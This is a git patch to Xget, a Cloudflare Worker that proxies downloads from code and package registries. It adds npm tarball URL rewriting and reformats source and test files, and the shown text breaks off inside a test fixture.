From b147ea70524d33bed11fc34f5fc9ab4a4e1a461e Mon Sep 17 00:00:00 2001 From: Xi Xu Date: Fri, 25 Jul 2025 09:36:03 +0800 Subject: [PATCH] Add npm registry URL rewriting and improve formatting Introduces logic to rewrite npm registry tarball URLs in JSON responses to route through the proxy endpoint, ensuring package names are preserved. Also improves code formatting and consistency across source and test files, and adds related test cases for npm URL rewriting. --- src/config/index.js | 22 +- src/config/platforms.js | 90 ++-- src/index.js | 654 +++++++++++++--------------- test/benchmark/performance.bench.js | 42 +- test/fixtures/responses.js | 105 ++--- test/helpers/test-utils.js | 54 ++- test/index.test.js | 102 +++-- test/integration.test.js | 72 +-- test/npm-fix.test.js | 82 ++++ test/performance.test.js | 64 +-- test/platforms.test.js | 87 ++-- test/security.test.js | 56 +-- test/setup.js | 90 ++-- test/utils.test.js | 100 ++--- 14 files changed, 867 insertions(+), 753 deletions(-) create mode 100644 test/npm-fix.test.js diff --git a/src/config/index.js b/src/config/index.js index c33b2ba..9ee56d4 100644 --- a/src/config/index.js +++ b/src/config/index.js @@ -1,4 +1,4 @@ -import { PLATFORMS } from "./platforms"; +import { PLATFORMS } from './platforms'; /** * @typedef {Object} SecurityConfig @@ -19,14 +19,14 @@ import { PLATFORMS } from "./platforms"; /** @type {ApplicationConfig} */ export const CONFIG = { - TIMEOUT_SECONDS: 30, - MAX_RETRIES: 3, - RETRY_DELAY_MS: 1000, - CACHE_DURATION: 1800, // 30 minutes - SECURITY: { - ALLOWED_METHODS: ["GET", "HEAD"], // POST is allowed dynamically for Git operations - ALLOWED_ORIGINS: ["*"], - MAX_PATH_LENGTH: 2048, - }, - PLATFORMS, + TIMEOUT_SECONDS: 30, + MAX_RETRIES: 3, + RETRY_DELAY_MS: 1000, + CACHE_DURATION: 1800, // 30 minutes + SECURITY: { + ALLOWED_METHODS: ['GET', 'HEAD'], // POST is allowed dynamically for Git operations + ALLOWED_ORIGINS: ['*'], + MAX_PATH_LENGTH: 2048 + }, + PLATFORMS }; diff --git a/src/config/platforms.js b/src/config/platforms.js index 102abf6..70b44b5 100644 --- a/src/config/platforms.js +++ b/src/config/platforms.js @@ -3,49 +3,49 @@ * @type {Object.} */ export const PLATFORMS = { - /** @type {{base: string, transform: function(string): string}} GitHub configuration */ - gh: { - base: "https://github.com", - transform: (path) => path.replace(/^\/gh\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} GitLab configuration */ - gl: { - base: "https://gitlab.com", - transform: (path) => path.replace(/^\/gl\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} Hugging Face configuration */ - hf: { - base: "https://huggingface.co", - transform: (path) => path.replace(/^\/hf\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} npm registry configuration */ - npm: { - base: "https://registry.npmjs.org", - transform: (path) => path.replace(/^\/npm\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} PyPI registry configuration */ - pypi: { - base: "https://pypi.org", - transform: (path) => path.replace(/^\/pypi\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} PyPI files configuration */ - "pypi-files": { - base: "https://files.pythonhosted.org", - transform: (path) => path.replace(/^\/pypi\/files\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} conda default channels configuration */ - conda: { - base: "https://repo.anaconda.com", - transform: (path) => path.replace(/^\/conda\//, "/"), - }, - /** @type {{base: string, transform: function(string): string}} conda community channels configuration */ - "conda-community": { - base: "https://conda.anaconda.org", - transform: (path) => path.replace(/^\/conda\/community\//, "/"), - }, - // /** @type {{base: string, transform: function(string): string}} All platforms */ - // link: { - // base: "https://", - // transform: (path) => path.replace(/^\/link\//, "/"), - // }, + /** @type {{base: string, transform: function(string): string}} GitHub configuration */ + gh: { + base: 'https://github.com', + transform: path => path.replace(/^\/gh\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} GitLab configuration */ + gl: { + base: 'https://gitlab.com', + transform: path => path.replace(/^\/gl\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} Hugging Face configuration */ + hf: { + base: 'https://huggingface.co', + transform: path => path.replace(/^\/hf\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} npm registry configuration */ + npm: { + base: 'https://registry.npmjs.org', + transform: path => path.replace(/^\/npm\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} PyPI registry configuration */ + pypi: { + base: 'https://pypi.org', + transform: path => path.replace(/^\/pypi\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} PyPI files configuration */ + 'pypi-files': { + base: 'https://files.pythonhosted.org', + transform: path => path.replace(/^\/pypi\/files\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} conda default channels configuration */ + conda: { + base: 'https://repo.anaconda.com', + transform: path => path.replace(/^\/conda\//, '/') + }, + /** @type {{base: string, transform: function(string): string}} conda community channels configuration */ + 'conda-community': { + base: 'https://conda.anaconda.org', + transform: path => path.replace(/^\/conda\/community\//, '/') + } + // /** @type {{base: string, transform: function(string): string}} All platforms */ + // link: { + // base: "https://", + // transform: (path) => path.replace(/^\/link\//, "/"), + // }, }; diff --git a/src/index.js b/src/index.js index ddc329e..8d64654 100644 --- a/src/index.js +++ b/src/index.js @@ -1,35 +1,35 @@ -import { CONFIG } from "./config/index.js"; +import { CONFIG } from './config/index.js'; /** * Monitors performance metrics during request processing */ class PerformanceMonitor { - /** - * Initializes a new performance monitor - */ - constructor() { - this.startTime = Date.now(); - this.marks = new Map(); - } + /** + * Initializes a new performance monitor + */ + constructor() { + this.startTime = Date.now(); + this.marks = new Map(); + } - /** - * Marks a timing point with the given name - * @param {string} name - The name of the timing mark - */ - mark(name) { - if (this.marks.has(name)) { - console.warn(`Mark with name ${name} already exists.`); - } - this.marks.set(name, Date.now() - this.startTime); - } + /** + * Marks a timing point with the given name + * @param {string} name - The name of the timing mark + */ + mark(name) { + if (this.marks.has(name)) { + console.warn(`Mark with name ${name} already exists.`); + } + this.marks.set(name, Date.now() - this.startTime); + } - /** - * Returns all collected metrics - * @returns {Object.} Object containing name-timestamp pairs - */ - getMetrics() { - return Object.fromEntries(this.marks.entries()); - } + /** + * Returns all collected metrics + * @returns {Object.} Object containing name-timestamp pairs + */ + getMetrics() { + return Object.fromEntries(this.marks.entries()); + } } /** @@ -39,40 +39,34 @@ class PerformanceMonitor { * @returns {boolean} True if this is a Git operation */ function isGitRequest(request, url) { - // Check for Git-specific endpoints - if (url.pathname.endsWith("/info/refs")) { - return true; - } + // Check for Git-specific endpoints + if (url.pathname.endsWith('/info/refs')) { + return true; + } - if ( - url.pathname.endsWith("/git-upload-pack") || - url.pathname.endsWith("/git-receive-pack") - ) { - return true; - } + if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) { + return true; + } - // Check for Git user agents (more comprehensive check) - const userAgent = request.headers.get("User-Agent") || ""; - if (userAgent.includes("git/") || userAgent.startsWith("git/")) { - return true; - } + // Check for Git user agents (more comprehensive check) + const userAgent = request.headers.get('User-Agent') || ''; + if (userAgent.includes('git/') || userAgent.startsWith('git/')) { + return true; + } - // Check for Git-specific query parameters - if (url.searchParams.has("service")) { - const service = url.searchParams.get("service"); - return service === "git-upload-pack" || service === "git-receive-pack"; - } + // Check for Git-specific query parameters + if (url.searchParams.has('service')) { + const service = url.searchParams.get('service'); + return service === 'git-upload-pack' || service === 'git-receive-pack'; + } - // Check for Git-specific content types - const contentType = request.headers.get("Content-Type") || ""; - if ( - contentType.includes("git-upload-pack") || - contentType.includes("git-receive-pack") - ) { - return true; - } + // Check for Git-specific content types + const contentType = request.headers.get('Content-Type') || ''; + if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) { + return true; + } - return false; + return false; } /** @@ -82,20 +76,20 @@ function isGitRequest(request, url) { * @returns {{valid: boolean, error?: string, status?: number}} Validation result */ function validateRequest(request, url) { - // Allow POST method for Git operations - const allowedMethods = isGitRequest(request, url) - ? ["GET", "HEAD", "POST"] - : CONFIG.SECURITY.ALLOWED_METHODS; + // Allow POST method for Git operations + const allowedMethods = isGitRequest(request, url) + ? ['GET', 'HEAD', 'POST'] + : CONFIG.SECURITY.ALLOWED_METHODS; - if (!allowedMethods.includes(request.method)) { - return { valid: false, error: "Method not allowed", status: 405 }; - } + if (!allowedMethods.includes(request.method)) { + return { valid: false, error: 'Method not allowed', status: 405 }; + } - if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { - return { valid: false, error: "Path too long", status: 414 }; - } + if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { + return { valid: false, error: 'Path too long', status: 414 }; + } - return { valid: true }; + return { valid: true }; } /** @@ -104,19 +98,13 @@ function validateRequest(request, url) { * @returns {Headers} Modified headers object */ function addSecurityHeaders(headers) { - headers.set( - "Strict-Transport-Security", - "max-age=31536000; includeSubDomains; preload" - ); - headers.set("X-Frame-Options", "DENY"); - headers.set("X-XSS-Protection", "1; mode=block"); - headers.set("Referrer-Policy", "strict-origin-when-cross-origin"); - headers.set( - "Content-Security-Policy", - "default-src 'none'; img-src 'self'; script-src 'none'" - ); - headers.set("Permissions-Policy", "interest-cohort=()"); - return headers; + headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); + headers.set('X-Frame-Options', 'DENY'); + headers.set('X-XSS-Protection', '1; mode=block'); + headers.set('Referrer-Policy', 'strict-origin-when-cross-origin'); + headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'"); + headers.set('Permissions-Policy', 'interest-cohort=()'); + return headers; } /** @@ -127,289 +115,269 @@ function addSecurityHeaders(headers) { * @returns {Promise} The response object */ async function handleRequest(request, env, ctx) { - try { - const url = new URL(request.url); + try { + const url = new URL(request.url); - const monitor = new PerformanceMonitor(); + const monitor = new PerformanceMonitor(); - // Redirect root path or invalid platforms to GitHub repository - if (url.pathname === "/" || url.pathname === "") { - const HOME_PAGE_URL = "https://github.com/xixu-me/Xget"; - return Response.redirect(HOME_PAGE_URL, 302); - } + // Redirect root path or invalid platforms to GitHub repository + if (url.pathname === '/' || url.pathname === '') { + const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget'; + return Response.redirect(HOME_PAGE_URL, 302); + } - const validation = validateRequest(request, url); - if (!validation.valid) { - return new Response(validation.error, { - status: validation.status, - headers: addSecurityHeaders(new Headers()), - }); - } + const validation = validateRequest(request, url); + if (!validation.valid) { + return new Response(validation.error, { + status: validation.status, + headers: addSecurityHeaders(new Headers()) + }); + } - // Parse platform and path - let platform; + // Parse platform and path + let platform; - // Platform detection using transform patterns - // Sort platforms by path length (descending) to prioritize more specific paths - // e.g., conda/community should match before conda, pypi/files before pypi - const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => { - const pathA = `/${a.replace("-", "/")}/`; - const pathB = `/${b.replace("-", "/")}/`; - return pathB.length - pathA.length; - }); + // Platform detection using transform patterns + // Sort platforms by path length (descending) to prioritize more specific paths + // e.g., conda/community should match before conda, pypi/files before pypi + const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => { + const pathA = `/${a.replace('-', '/')}/`; + const pathB = `/${b.replace('-', '/')}/`; + return pathB.length - pathA.length; + }); - platform = - sortedPlatforms.find((key) => { - const expectedPrefix = `/${key.replace("-", "/")}/`; - return url.pathname.startsWith(expectedPrefix); - }) || url.pathname.split("/")[1]; + platform = + sortedPlatforms.find(key => { + const expectedPrefix = `/${key.replace('-', '/')}/`; + return url.pathname.startsWith(expectedPrefix); + }) || url.pathname.split('/')[1]; - if (!platform || !CONFIG.PLATFORMS[platform]) { - const HOME_PAGE_URL = "https://github.com/xixu-me/Xget"; - return Response.redirect(HOME_PAGE_URL, 302); - } + if (!platform || !CONFIG.PLATFORMS[platform]) { + const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget'; + return Response.redirect(HOME_PAGE_URL, 302); + } - // Transform URL based on platform - const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname); - const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`; + // Transform URL based on platform + const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname); + const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`; - // Check if this is a Git operation - const isGit = isGitRequest(request, url); + // Check if this is a Git operation + const isGit = isGitRequest(request, url); - // Check cache first (skip cache for Git operations) - const cache = caches.default; - const cacheKey = new Request(targetUrl, request); - let response; + // Check cache first (skip cache for Git operations) + const cache = caches.default; + const cacheKey = new Request(targetUrl, request); + let response; - if (!isGit) { - response = await cache.match(cacheKey); - if (response) { - monitor.mark("cache_hit"); - return response; - } - } + if (!isGit) { + response = await cache.match(cacheKey); + if (response) { + monitor.mark('cache_hit'); + return response; + } + } - const fetchOptions = { - method: request.method, - headers: new Headers(), - }; + const fetchOptions = { + method: request.method, + headers: new Headers() + }; - // Add body for POST requests (Git operations) - if (request.method === "POST" && isGit) { - // For Git operations, we need to preserve the original body stream - fetchOptions.body = request.body; - } + // Add body for POST requests (Git operations) + if (request.method === 'POST' && isGit) { + // For Git operations, we need to preserve the original body stream + fetchOptions.body = request.body; + } - // Set appropriate headers for Git vs regular requests - if (isGit) { - // For Git operations, copy all headers from the original request - // This ensures Git protocol compliance - for (const [key, value] of request.headers.entries()) { - // Skip headers that might cause issues with proxying - if ( - !["host", "connection", "upgrade", "proxy-connection"].includes( - key.toLowerCase() - ) - ) { - fetchOptions.headers.set(key, value); - } - } + // Set appropriate headers for Git vs regular requests + if (isGit) { + // For Git operations, copy all headers from the original request + // This ensures Git protocol compliance + for (const [key, value] of request.headers.entries()) { + // Skip headers that might cause issues with proxying + if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) { + fetchOptions.headers.set(key, value); + } + } - // Set Git-specific headers if not present - if (!fetchOptions.headers.has("User-Agent")) { - fetchOptions.headers.set("User-Agent", "git/2.34.1"); - } + // Set Git-specific headers if not present + if (!fetchOptions.headers.has('User-Agent')) { + fetchOptions.headers.set('User-Agent', 'git/2.34.1'); + } - // For Git upload-pack requests, ensure proper content type - if ( - request.method === "POST" && - url.pathname.endsWith("/git-upload-pack") - ) { - if (!fetchOptions.headers.has("Content-Type")) { - fetchOptions.headers.set( - "Content-Type", - "application/x-git-upload-pack-request" - ); - } - } + // For Git upload-pack requests, ensure proper content type + if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) { + if (!fetchOptions.headers.has('Content-Type')) { + fetchOptions.headers.set('Content-Type', 'application/x-git-upload-pack-request'); + } + } - // For Git receive-pack requests, ensure proper content type - if ( - request.method === "POST" && - url.pathname.endsWith("/git-receive-pack") - ) { - if (!fetchOptions.headers.has("Content-Type")) { - fetchOptions.headers.set( - "Content-Type", - "application/x-git-receive-pack-request" - ); - } - } - } else { - // Regular file download headers - Object.assign(fetchOptions, { - cf: { - http3: true, - cacheTtl: CONFIG.CACHE_DURATION, - cacheEverything: true, - minify: { - javascript: true, - css: true, - html: true, - }, - preconnect: true, - }, - }); + // For Git receive-pack requests, ensure proper content type + if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) { + if (!fetchOptions.headers.has('Content-Type')) { + fetchOptions.headers.set('Content-Type', 'application/x-git-receive-pack-request'); + } + } + } else { + // Regular file download headers + Object.assign(fetchOptions, { + cf: { + http3: true, + cacheTtl: CONFIG.CACHE_DURATION, + cacheEverything: true, + minify: { + javascript: true, + css: true, + html: true + }, + preconnect: true + } + }); - fetchOptions.headers.set("Accept-Encoding", "gzip, deflate, br"); - fetchOptions.headers.set("Connection", "keep-alive"); - fetchOptions.headers.set("User-Agent", "Wget/1.21.3"); - fetchOptions.headers.set("Origin", request.headers.get("Origin") || "*"); + fetchOptions.headers.set('Accept-Encoding', 'gzip, deflate, br'); + fetchOptions.headers.set('Connection', 'keep-alive'); + fetchOptions.headers.set('User-Agent', 'Wget/1.21.3'); + fetchOptions.headers.set('Origin', request.headers.get('Origin') || '*'); - // Handle range requests - const rangeHeader = request.headers.get("Range"); - if (rangeHeader) { - fetchOptions.headers.set("Range", rangeHeader); - } - } + // Handle range requests + const rangeHeader = request.headers.get('Range'); + if (rangeHeader) { + fetchOptions.headers.set('Range', rangeHeader); + } + } - // Implement retry mechanism - let attempts = 0; - while (attempts < CONFIG.MAX_RETRIES) { - try { - monitor.mark("attempt_" + attempts); + // Implement retry mechanism + let attempts = 0; + while (attempts < CONFIG.MAX_RETRIES) { + try { + monitor.mark('attempt_' + attempts); - // Fetch with timeout - const controller = new AbortController(); - const timeoutId = setTimeout( - () => controller.abort(), - CONFIG.TIMEOUT_SECONDS * 1000 - ); + // Fetch with timeout + const controller = new AbortController(); + const timeoutId = setTimeout(() => controller.abort(), CONFIG.TIMEOUT_SECONDS * 1000); - // For Git operations, don't use Cloudflare-specific options - const finalFetchOptions = isGit - ? { ...fetchOptions, signal: controller.signal } - : { ...fetchOptions, signal: controller.signal }; + // For Git operations, don't use Cloudflare-specific options + const finalFetchOptions = isGit + ? { ...fetchOptions, signal: controller.signal } + : { ...fetchOptions, signal: controller.signal }; - response = await fetch(targetUrl, finalFetchOptions); + response = await fetch(targetUrl, finalFetchOptions); - clearTimeout(timeoutId); + clearTimeout(timeoutId); - if (response.ok || response.status === 206) { - monitor.mark("success"); - break; - } + if (response.ok || response.status === 206) { + monitor.mark('success'); + break; + } - // Don't retry on client errors (4xx) - these won't improve with retries - if (response.status >= 400 && response.status < 500) { - monitor.mark("client_error"); - break; - } + // Don't retry on client errors (4xx) - these won't improve with retries + if (response.status >= 400 && response.status < 500) { + monitor.mark('client_error'); + break; + } - attempts++; - if (attempts < CONFIG.MAX_RETRIES) { - await new Promise((resolve) => - setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts) - ); - } - } catch (error) { - attempts++; - if (error.name === "AbortError") { - return new Response("Request timeout", { - status: 408, - headers: addSecurityHeaders(new Headers()), - }); - } - if (attempts >= CONFIG.MAX_RETRIES) { - return new Response( - `Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, - { - status: 500, - headers: addSecurityHeaders(new Headers()), - } - ); - } - // Wait before retrying - await new Promise((resolve) => - setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts) - ); - } - } + attempts++; + if (attempts < CONFIG.MAX_RETRIES) { + await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)); + } + } catch (error) { + attempts++; + if (error.name === 'AbortError') { + return new Response('Request timeout', { + status: 408, + headers: addSecurityHeaders(new Headers()) + }); + } + if (attempts >= CONFIG.MAX_RETRIES) { + return new Response(`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } + // Wait before retrying + await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)); + } + } - // Check if we have a valid response after all attempts - if (!response) { - return new Response("No response received after all retry attempts", { - status: 500, - headers: addSecurityHeaders(new Headers()), - }); - } + // Check if we have a valid response after all attempts + if (!response) { + return new Response('No response received after all retry attempts', { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } - // If response is still not ok after all retries, return the error - if (!response.ok && response.status !== 206) { - const errorText = await response.text().catch(() => "Unknown error"); - return new Response( - `Upstream server error (${response.status}): ${errorText}`, - { - status: response.status, - headers: addSecurityHeaders(new Headers()), - } - ); - } + // If response is still not ok after all retries, return the error + if (!response.ok && response.status !== 206) { + const errorText = await response.text().catch(() => 'Unknown error'); + return new Response(`Upstream server error (${response.status}): ${errorText}`, { + status: response.status, + headers: addSecurityHeaders(new Headers()) + }); + } - // Handle PyPI simple index URL rewriting - let responseBody = response.body; - if ( - platform === "pypi" && - response.headers.get("content-type")?.includes("text/html") - ) { - const originalText = await response.text(); - // Rewrite URLs in the response body to go through the Cloudflare Worker - // files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint - const rewrittenText = originalText.replace( - /https:\/\/files\.pythonhosted\.org/g, - `${url.origin}/pypi/files` - ); - responseBody = rewrittenText; - } + // Handle URL rewriting for different platforms + let responseBody = response.body; - // Prepare response headers - const headers = new Headers(response.headers); + // Handle PyPI simple index URL rewriting + if (platform === 'pypi' && response.headers.get('content-type')?.includes('text/html')) { + const originalText = await response.text(); + // Rewrite URLs in the response body to go through the Cloudflare Worker + // files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint + const rewrittenText = originalText.replace( + /https:\/\/files\.pythonhosted\.org/g, + `${url.origin}/pypi/files` + ); + responseBody = rewrittenText; + } - if (isGit) { - // For Git operations, preserve all headers from the upstream response - // Git protocol is very sensitive to header changes - // Don't add any additional headers that might interfere with Git protocol - // The response headers from GitHub/GitLab should be passed through as-is - } else { - // Regular file download headers - headers.set("Cache-Control", `public, max-age=${CONFIG.CACHE_DURATION}`); - headers.set("X-Content-Type-Options", "nosniff"); - headers.set("Accept-Ranges", "bytes"); - addSecurityHeaders(headers); - } + // Handle npm registry URL rewriting + if (platform === 'npm' && response.headers.get('content-type')?.includes('application/json')) { + const originalText = await response.text(); + // Rewrite tarball URLs in npm registry responses to go through our npm endpoint + // https://registry.npmjs.org/package/-/package-version.tgz -> https://xget.xi-xu.me/npm/package/-/package-version.tgz + const rewrittenText = originalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `${url.origin}/npm/$1` + ); + responseBody = rewrittenText; + } - // Create final response - const finalResponse = new Response(responseBody, { - status: response.status, - headers: headers, - }); + // Prepare response headers + const headers = new Headers(response.headers); - // Cache successful responses (skip caching for Git operations) - if (!isGit && (response.ok || response.status === 206)) { - ctx.waitUntil(cache.put(cacheKey, finalResponse.clone())); - } + if (isGit) { + // For Git operations, preserve all headers from the upstream response + // Git protocol is very sensitive to header changes + // Don't add any additional headers that might interfere with Git protocol + // The response headers from GitHub/GitLab should be passed through as-is + } else { + // Regular file download headers + headers.set('Cache-Control', `public, max-age=${CONFIG.CACHE_DURATION}`); + headers.set('X-Content-Type-Options', 'nosniff'); + headers.set('Accept-Ranges', 'bytes'); + addSecurityHeaders(headers); + } - monitor.mark("complete"); - return isGit - ? finalResponse - : addPerformanceHeaders(finalResponse, monitor); - } catch (error) { - console.error("Error handling request:", error); - return new Response(`Internal Server Error: ${error.message}`, { - status: 500, - headers: addSecurityHeaders(new Headers()), - }); - } + // Create final response + const finalResponse = new Response(responseBody, { + status: response.status, + headers: headers + }); + + // Cache successful responses (skip caching for Git operations) + if (!isGit && (response.ok || response.status === 206)) { + ctx.waitUntil(cache.put(cacheKey, finalResponse.clone())); + } + + monitor.mark('complete'); + return isGit ? finalResponse : addPerformanceHeaders(finalResponse, monitor); + } catch (error) { + console.error('Error handling request:', error); + return new Response(`Internal Server Error: ${error.message}`, { + status: 500, + headers: addSecurityHeaders(new Headers()) + }); + } } /** @@ -419,24 +387,24 @@ async function handleRequest(request, env, ctx) { * @returns {Response} New response with performance headers */ function addPerformanceHeaders(response, monitor) { - const headers = new Headers(response.headers); - headers.set("X-Performance-Metrics", JSON.stringify(monitor.getMetrics())); - addSecurityHeaders(headers); - return new Response(response.body, { - status: response.status, - headers: headers, - }); + const headers = new Headers(response.headers); + headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics())); + addSecurityHeaders(headers); + return new Response(response.body, { + status: response.status, + headers: headers + }); } export default { - /** - * Main entry point for the Cloudflare Worker - * @param {Request} request - The incoming request - * @param {Object} env - Environment variables - * @param {ExecutionContext} ctx - Cloudflare Workers execution context - * @returns {Promise} The response object - */ - fetch(request, env, ctx) { - return handleRequest(request, env, ctx); - }, + /** + * Main entry point for the Cloudflare Worker + * @param {Request} request - The incoming request + * @param {Object} env - Environment variables + * @param {ExecutionContext} ctx - Cloudflare Workers execution context + * @returns {Promise} The response object + */ + fetch(request, env, ctx) { + return handleRequest(request, env, ctx); + } }; diff --git a/test/benchmark/performance.bench.js b/test/benchmark/performance.bench.js index 77d9a8e..60c6fe6 100644 --- a/test/benchmark/performance.bench.js +++ b/test/benchmark/performance.bench.js @@ -73,7 +73,7 @@ describe('Performance Benchmarks', () => { describe('Security Header Processing', () => { bench('Security headers addition', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + // Verify headers are present (this adds to processing time) response.headers.get('Strict-Transport-Security'); response.headers.get('X-Frame-Options'); @@ -101,22 +101,26 @@ describe('Performance Benchmarks', () => { describe('Concurrent Request Handling', () => { bench('10 concurrent requests', async () => { - const requests = Array(10).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/file.txt', { - method: 'HEAD' - }) - ); - + const requests = Array(10) + .fill() + .map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + await Promise.all(requests); }); bench('50 concurrent requests', async () => { - const requests = Array(50).fill().map(() => - SELF.fetch('https://example.com/gh/test/repo/file.txt', { - method: 'HEAD' - }) - ); - + const requests = Array(50) + .fill() + .map(() => + SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'HEAD' + }) + ); + await Promise.all(requests); }); }); @@ -156,7 +160,9 @@ describe('Performance Benchmarks', () => { }); bench('Complex URL parsing', async () => { - await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'); + await SELF.fetch( + 'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123' + ); }); }); @@ -166,17 +172,17 @@ describe('Performance Benchmarks', () => { method: 'GET', headers: { 'User-Agent': 'Test/1.0', - 'Accept': '*/*' + Accept: '*/*' } }); - + // Process the request await SELF.fetch(request); }); bench('Response object processing', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + // Access various response properties response.status; response.statusText; @@ -210,4 +216,4 @@ describe('Performance Benchmarks', () => { await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda'); }); }); -}); \ No newline at end of file +}); diff --git a/test/fixtures/responses.js b/test/fixtures/responses.js index 1b5f60e..ee0fa56 100644 --- a/test/fixtures/responses.js +++ b/test/fixtures/responses.js @@ -20,7 +20,7 @@ export const MOCK_RESPONSES = { } }) }, - + readme: { status: 200, headers: { @@ -28,7 +28,7 @@ export const MOCK_RESPONSES = { }, body: '# Visual Studio Code\n\nCode editing. Redefined.' }, - + release: { status: 200, headers: { @@ -38,7 +38,7 @@ export const MOCK_RESPONSES = { }, body: 'binary-data-placeholder' }, - + notFound: { status: 404, headers: { @@ -46,7 +46,7 @@ export const MOCK_RESPONSES = { }, body: 'Not Found' }, - + gitInfoRefs: { status: 200, headers: { @@ -69,7 +69,7 @@ export const MOCK_RESPONSES = { description: 'GitLab Community Edition' }) }, - + archive: { status: 200, headers: { @@ -97,7 +97,7 @@ export const MOCK_RESPONSES = { n_head: 16 }) }, - + modelFile: { status: 200, headers: { @@ -106,7 +106,7 @@ export const MOCK_RESPONSES = { }, body: 'model-binary-data-placeholder' }, - + datasetFile: { status: 200, headers: { @@ -140,7 +140,7 @@ export const MOCK_RESPONSES = { license: 'MIT' }) }, - + packageTarball: { status: 200, headers: { @@ -167,7 +167,7 @@ export const MOCK_RESPONSES = { ` }, - + packageFile: { status: 200, headers: { @@ -176,7 +176,7 @@ export const MOCK_RESPONSES = { }, body: 'gzip-data-placeholder' }, - + wheelFile: { status: 200, headers: { @@ -212,7 +212,7 @@ export const MOCK_RESPONSES = { } }) }, - + packageFile: { status: 200, headers: { @@ -231,7 +231,7 @@ export const MOCK_RESPONSES = { }, body: 'Bad Request' }, - + unauthorized: { status: 401, headers: { @@ -239,7 +239,7 @@ export const MOCK_RESPONSES = { }, body: 'Unauthorized' }, - + forbidden: { status: 403, headers: { @@ -247,7 +247,7 @@ export const MOCK_RESPONSES = { }, body: 'Forbidden' }, - + notFound: { status: 404, headers: { @@ -255,16 +255,16 @@ export const MOCK_RESPONSES = { }, body: 'Not Found' }, - + methodNotAllowed: { status: 405, headers: { 'Content-Type': 'text/plain', - 'Allow': 'GET, HEAD' + Allow: 'GET, HEAD' }, body: 'Method Not Allowed' }, - + pathTooLong: { status: 414, headers: { @@ -272,7 +272,7 @@ export const MOCK_RESPONSES = { }, body: 'URI Too Long' }, - + internalServerError: { status: 500, headers: { @@ -280,7 +280,7 @@ export const MOCK_RESPONSES = { }, body: 'Internal Server Error' }, - + badGateway: { status: 502, headers: { @@ -288,7 +288,7 @@ export const MOCK_RESPONSES = { }, body: 'Bad Gateway' }, - + serviceUnavailable: { status: 503, headers: { @@ -296,7 +296,7 @@ export const MOCK_RESPONSES = { }, body: 'Service Unavailable' }, - + gatewayTimeout: { status: 504, headers: { @@ -345,7 +345,7 @@ function getStatusText(status) { 503: 'Service Unavailable', 504: 'Gateway Timeout' }; - + return statusTexts[status] || 'Unknown'; } @@ -356,34 +356,37 @@ function getStatusText(status) { * @returns {Promise} Mock response */ export function mockFetchWithFixtures(url, options = {}) { - return new Promise((resolve) => { + return new Promise(resolve => { // Simulate network delay - setTimeout(() => { - const urlObj = new URL(url); - const path = urlObj.pathname; - - // Route to appropriate mock response based on URL pattern - if (path.includes('/gh/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); - } else if (path.includes('/gh/') && path.includes('README.md')) { - resolve(createMockResponse(MOCK_RESPONSES.github.readme)); - } else if (path.includes('/gl/') && path.includes('package.json')) { - resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); - } else if (path.includes('/hf/') && path.includes('config.json')) { - resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); - } else if (path.includes('/npm/') && !path.includes('.tgz')) { - resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); - } else if (path.includes('/pypi/simple/')) { - resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); - } else if (path.includes('/conda/') && 